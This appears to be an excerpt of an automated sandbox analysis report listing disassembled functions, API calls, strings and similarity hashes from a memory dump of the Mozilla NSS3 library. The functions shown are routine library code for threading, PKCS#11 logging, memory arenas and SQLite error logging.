Part of subcall function 6C610F00: PR_NewLogModule.NSS3(clock,6C610936,FFFFE8AE,?,6C5A16B7,00000000,?,6C610936,00000000,?,6C5A204A), ref: 6C610F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C63DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C649111

Strings

nsl, xrefs: 6C6490A3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID: nsl
API String ID: 2831689957-3778653006
Opcode ID: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction ID: 3a584d024c084f559e581ed064987654133bf8572fa66e211c821207f89d87ed
Opcode Fuzzy Hash: 4820f03977484360c031a8824f61fae53afe14a85c535c204679f20ea1584448
Instruction Fuzzy Hash: A7517A70A45215CFCB00EF38C588299BBF9BF0A319F1585B9DD449BB15EB30E884CB99

Function 6C737CD0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 113threadstringCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6C737CE0

Part of subcall function 6C6E9BF0: TlsGetValue.KERNEL32(?,?,?,6C730A75), ref: 6C6E9C07

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737D36
PR_Realloc.NSS3(?,00000080), ref: 6C737D6D
PR_GetCurrentThread.NSS3 ref: 6C737D8B
PR_snprintf.NSS3(?,?,NSPR_INHERIT_FDS=%s:%d:0x%lx,?,?,?), ref: 6C737DC2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737DD8
malloc.MOZGLUE(00000080), ref: 6C737DF8
PR_GetCurrentThread.NSS3 ref: 6C737E06

Strings

:%s:%d:0x%lx, xrefs: 6C737DB9
NSPR_INHERIT_FDS=%s:%d:0x%lx, xrefs: 6C737DF0

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CurrentThread$strlen$R_snprintfReallocValuemalloc
String ID: :%s:%d:0x%lx$NSPR_INHERIT_FDS=%s:%d:0x%lx
API String ID: 530461531-3274975309
Opcode ID: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction ID: 2dde5ac9c84ecf093485d78834f0be6a854b25e6810cfcd5e25e3fb84c3adf0a
Opcode Fuzzy Hash: bca7294b580bd5014bcfab2e2ed5b80b4094805a29f07232ed026f8445385eba
Instruction Fuzzy Hash: 6041C5B1910215DFDB04CF28CE8596B37AAFF85318B25456CE81D8BB52D731E901CBA5

Function 6C737E20 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 103filestringpipeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C737E37
PR_GetEnvSecure.NSS3(NSPR_INHERIT_FDS), ref: 6C737E46

Part of subcall function 6C611240: TlsGetValue.KERNEL32(00000040,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611267
Part of subcall function 6C611240: EnterCriticalSection.KERNEL32(?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C61127C
Part of subcall function 6C611240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C611291
Part of subcall function 6C611240: PR_Unlock.NSS3(?,?,?,?,6C61116C,NSPR_LOG_MODULES), ref: 6C6112A0

PR_sscanf.NSS3(00000001,%d:0x%lx,?,?), ref: 6C737EAF
PR_ImportFile.NSS3(?), ref: 6C737ECF
PR_GetCurrentThread.NSS3 ref: 6C737ED6
PR_ImportTCPSocket.NSS3(?), ref: 6C737F01
PR_ImportUDPSocket.NSS3(?,?), ref: 6C737F0B
PR_ImportPipe.NSS3(?,?,?), ref: 6C737F15

Strings

NSPR_INHERIT_FDS, xrefs: 6C737E41
%d:0x%lx, xrefs: 6C737EA9

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Import$Socket$CriticalCurrentEnterFilePipeR_sscanfSectionSecureThreadUnlockValuegetenvstrlen
String ID: %d:0x%lx$NSPR_INHERIT_FDS
API String ID: 2743735569-629032437
Opcode ID: 9a05519de56444ab1657016aba1138bab39bc0e097640180d511ca8e10fa6cf8
Instruction ID: 96c57ec6edfa8d0d1a462d947f3a831d6e38ead1bc3d9ae771c6106fd0d67802
Opcode Fuzzy Hash: 9a05519de56444ab1657016aba1138bab39bc0e097640180d511ca8e10fa6cf8
Instruction Fuzzy Hash: 8531457190413ADFDB00AB69CF84AABB7ACFF4A348F241535D80993A93E7319D05C795

Function 6C644E50 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C644E90
EnterCriticalSection.KERNEL32 ref: 6C644EA9
TlsGetValue.KERNEL32 ref: 6C644EC6
EnterCriticalSection.KERNEL32 ref: 6C644EDF
PL_HashTableLookup.NSS3 ref: 6C644EF8
PR_Unlock.NSS3 ref: 6C644F05
PR_Now.NSS3 ref: 6C644F13
PR_Unlock.NSS3 ref: 6C644F3A

Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107AD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107CD
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,?,?,6C5A204A), ref: 6C6107D6
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,00000144,?,?,?,?,6C5A204A), ref: 6C6107E4
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,6C5A204A), ref: 6C610864
Part of subcall function 6C6107A0: calloc.MOZGLUE(00000001,0000002C), ref: 6C610880
Part of subcall function 6C6107A0: TlsSetValue.KERNEL32(00000000,?,?,6C5A204A), ref: 6C6108CB
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108D7
Part of subcall function 6C6107A0: TlsGetValue.KERNEL32(?,?,6C5A204A), ref: 6C6108FB

Strings

bUdl, xrefs: 6C644F3F
bUdl, xrefs: 6C644E5C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Value$CriticalEnterSectionUnlockcalloc$HashLookupTable
String ID: bUdl$bUdl
API String ID: 326028414-51985982
Opcode ID: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction ID: 1e59fc0e025d9cfbc3821a501d260f133616228a8d2da347326ddb78014a56b5
Opcode Fuzzy Hash: 3b2e0163d132c9ad585bbdadcbd02511e91ef25f937cf129f9a24361c6df5e89
Instruction Fuzzy Hash: 03416BB4A04609DFCB00EF78C0848AABBF0FF89344B11C569EC999B714EB30E855CB95

Function 6C656C40 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_DigestInit), ref: 6C656C66
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C656C94
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C656CA3

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C656CB9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C656CD5

Strings

nsl, xrefs: 6C656CF4, 6C656D1F
C_DigestInit, xrefs: 6C656C61
hSession = 0x%x, xrefs: 6C656C7E, 6C656C8E
pMechanism = 0x%p, xrefs: 6C656CD0
(CK_INVALID_HANDLE), xrefs: 6C656C9C

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: hSession = 0x%x$ pMechanism = 0x%p$ (CK_INVALID_HANDLE)$C_DigestInit$nsl
API String ID: 1003633598-2134530496
Opcode ID: eabe85e19e5f345d6edf1e060d0bfd1bce9b17891790d4f2d41c6e26f9d12804
Instruction ID: 9b6aed04220caef0401121b6f76f3f74f74768707bd782c430898f449e5d8120
Opcode Fuzzy Hash: eabe85e19e5f345d6edf1e060d0bfd1bce9b17891790d4f2d41c6e26f9d12804
Instruction Fuzzy Hash: B5210631A021149FDB009B54DE8DB9E77B5EB47319FA44035E509D7B12DF30D918CB9A

Function 6C659DD0 Relevance: 17.6, APIs: 5, Strings: 5, Instructions: 85COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_SessionCancel), ref: 6C659DF6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C659E24
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C659E33

Part of subcall function 6C73D930: PL_strncpyz.NSS3(?,?,?), ref: 6C73D963

PR_LogPrint.NSS3(?,00000000), ref: 6C659E49
PR_LogPrint.NSS3( flags = 0x%x,?), ref: 6C659E65

Strings

nsl, xrefs: 6C659E7D, 6C659EA8
flags = 0x%x, xrefs: 6C659E60
hSession = 0x%x, xrefs: 6C659E0E, 6C659E1E
(CK_INVALID_HANDLE), xrefs: 6C659E2C
C_SessionCancel, xrefs: 6C659DF1

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: flags = 0x%x$ hSession = 0x%x$ (CK_INVALID_HANDLE)$C_SessionCancel$nsl
API String ID: 1003633598-3424459196
Opcode ID: bbea8ca66f057429fffa41dfc15a492c383909f76b1fc23d9b9e9c64c1188313
Instruction ID: 10fb92c4cade5a8de44e51b4e3abfba26136d64436908425398c6f5fa856c953
Opcode Fuzzy Hash: bbea8ca66f057429fffa41dfc15a492c383909f76b1fc23d9b9e9c64c1188313
Instruction Fuzzy Hash: 2521D5B17021149FD7009B14DE8DB9E77B5AF4730DF644034EA0997B02DB30995AC7AA

Function 6C66ECE0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,00000000,?,?,6C66DE64), ref: 6C66ED0C
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C66ED22

Part of subcall function 6C67B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7518D0,?), ref: 6C67B095

PL_FreeArenaPool.NSS3(?), ref: 6C66ED4A
PL_FinishArenaPool.NSS3(?), ref: 6C66ED6B
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED38

Part of subcall function 6C5A4C70: TlsGetValue.KERNEL32(?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4C97
Part of subcall function 6C5A4C70: EnterCriticalSection.KERNEL32(?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CB0
Part of subcall function 6C5A4C70: PR_Unlock.NSS3(?,?,?,?,?,6C5A3921,6C7814E4,6C6ECC70), ref: 6C5A4CC9

SECOID_FindOID_Util.NSS3(?), ref: 6C66ED52
PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C66ED83
PL_FreeArenaPool.NSS3(?), ref: 6C66ED95
PL_FinishArenaPool.NSS3(?), ref: 6C66ED9D

Part of subcall function 6C6864F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6C68127C,00000000,00000000,00000000), ref: 6C68650E

Strings

security, xrefs: 6C66ED06

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ArenaPool$CallFinishFreeOnceUtil$CriticalDecodeEnterErrorFindInitItem_QuickSectionUnlockValuefree
String ID: security
API String ID: 3323615905-3315324353
Opcode ID: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction ID: 56eb6cd63cbfa2118d350b8f7002db4c0494eb0083fe67f4112786ea2d6a1ec6
Opcode Fuzzy Hash: 4190d988db9cb021b2963619b13194e3c1865926b4ab5ab017fdedf6479ad858
Instruction Fuzzy Hash: 281127759022146BEA105667EC44BBF72B8BF4270DF000935E81562E41FB25A60C86FF

Function 6C730EB0 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 65COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Aborting,?,6C612357), ref: 6C730EB8
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(6C612357), ref: 6C730EC0
PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C730EE6

Part of subcall function 6C7309D0: PR_Now.NSS3 ref: 6C730A22
Part of subcall function 6C7309D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C730A35
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C730A66
Part of subcall function 6C7309D0: PR_GetCurrentThread.NSS3 ref: 6C730A70
Part of subcall function 6C7309D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C730A9D
Part of subcall function 6C7309D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C730AC8
Part of subcall function 6C7309D0: PR_vsmprintf.NSS3(?,?), ref: 6C730AE8
Part of subcall function 6C7309D0: EnterCriticalSection.KERNEL32(?), ref: 6C730B19
Part of subcall function 6C7309D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C730B48
Part of subcall function 6C7309D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C730C76
Part of subcall function 6C7309D0: PR_LogFlush.NSS3 ref: 6C730C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C730EFA

Part of subcall function 6C61AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C61AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C730F2B

Strings

Aborting, xrefs: 6C730EB3
Assertion failure: %s, at %s:%d, xrefs: 6C730ED9, 6C730EE5, 6C730F06, 6C730F0B

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction ID: f76d109661ba26248a2c20dbb1f135d969b8bd6484532fbdd40295aa701ba55f
Opcode Fuzzy Hash: 17febdd94b2e5e89bc2e6e4e30d07cc6dc3d70cebd9ea07444c88bc107688875
Instruction Fuzzy Hash: 4FF0AFF69002287BDA023B619E4EC9B3E2DDF8A265F044034FD0956602DA36E92497F2

Function 6C694DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C694DCB

Part of subcall function 6C680FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6287ED,00000800,6C61EF74,00000000), ref: 6C681000
Part of subcall function 6C680FF0: PR_NewLock.NSS3(?,00000800,6C61EF74,00000000), ref: 6C681016
Part of subcall function 6C680FF0: PL_InitArenaPool.NSS3(00000000,security,6C6287ED,00000008,?,00000800,6C61EF74,00000000), ref: 6C68102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C694DE1

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C694DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C694E59

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C75300C,00000000), ref: 6C694EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C694EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C694F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C69521A

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction ID: 62e5db0a0bbccdbdc9d0479eccafcd20a15ff37aae8bb56040443ee0d915a1f8
Opcode Fuzzy Hash: ac47e1d29a94a56db8fa37f3e2acb26c6a3ea726fa7be54e526676ff60f10e59
Instruction Fuzzy Hash: 23F1AE71E0120ACFDB04CF54D8407AEB7B2BF85318F254229D915AB781EB75E982CF98

Function 6C624FD0 Relevance: 16.6, APIs: 11, Instructions: 112COMMON

Download Yara Rule

APIs

PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C62502A
PR_NewLock.NSS3(00000001,00000000,6C770148,?,6C636FEC), ref: 6C625034
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,00000001,00000000,6C770148,?,6C636FEC), ref: 6C625055
PL_NewHashTable.NSS3(00000000,6C67FE80,6C67FD30,6C6CC350,00000000,00000000,?,00000001,00000000,6C770148,?,6C636FEC), ref: 6C62506D

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: HashLockTable
String ID:
API String ID: 3862423791-0
Opcode ID: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction ID: 5f22197dfa382370b3411b81d0dc851dc31975a4bd64cc99b6bbc6f1a652c6ab
Opcode Fuzzy Hash: a95d4524aa79a18123b63dd57faa9fc26ae095afb99a7ece2c3e5b7f8e5ff3f3
Instruction Fuzzy Hash: DD31D4B1F072209BEB209A658C4CB5777B8AB1778EF314535EB0597644D3788804CFEA

Function 6C5C2E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C2F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C5C2FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C5C3005
memcpy.VCRUNTIME140(?,?,?), ref: 6C5C30EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5C3131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5C3178

Strings

%s at line %d of [%.10s], xrefs: 6C5C3171
database corruption, xrefs: 6C5C316C
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5C3022, 6C5C3156, 6C5C3162, 6C5C318A, 6C5C3196, 6C5C31A2, 6C5C31AE, 6C5C31BA, 6C5C31C6

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction ID: 2096ab9d8fea76be8cf5d19484368f6a62000e18e1ceffe635eb16fa21b6af40
Opcode Fuzzy Hash: e29df04c10ccbded971ac01ea0ce69a5798b6efeb77f06e200c0f61c6438e545
Instruction Fuzzy Hash: 80B18AB0E052199BCB08CFDDCC85AEEBBB1BB48304F14842DE849B7B45D774A945CBA1

